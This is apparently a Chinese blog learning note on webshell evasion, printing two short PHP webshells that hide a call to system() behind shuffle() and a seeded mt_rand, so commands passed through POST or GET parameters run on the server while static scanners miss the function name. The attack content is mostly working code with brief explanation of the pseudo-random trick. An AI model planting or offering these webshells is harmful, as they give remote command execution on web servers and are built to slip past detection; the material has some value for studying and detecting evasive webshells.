记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
蓝莓味柯基7 分钟前
DevOps:概念与学习路径
运维·学习·devops
晓数8 分钟前
【硬核干货】SonarQube安全功能
安全·sonarqube·sonar
赏你个麻辣烫儿9 分钟前
机器学习学习笔记
笔记·学习
天哥-天行健13 分钟前
Trae+DeepSeek学习Python开发MVC框架程序笔记(一):1个程序实现MVC
学习·mvc
LVerrrr1 小时前
Missashe考研日记-day27
学习·考研
Black_Rock_br2 小时前
智驭未来:NVIDIA自动驾驶安全白皮书与实验室创新实践深度解析
人工智能·安全·自动驾驶
虾球xz2 小时前
游戏引擎学习第240天:将渲染器移至第三层
c++·学习·游戏引擎
Synfuture阳途3 小时前
网络准入控制系统:2025年网络安全的坚固防线
网络·安全·web安全
陈奕昆3 小时前
6.1腾讯技术岗2025面试趋势前瞻:大模型、云原生与安全隐私新动向
算法·安全·云原生·面试·腾讯
小王努力学编程4 小时前
【Linux网络编程】应用层协议HTTP(实现一个简单的http服务)
linux·服务器·网络·c++·网络协议·学习·http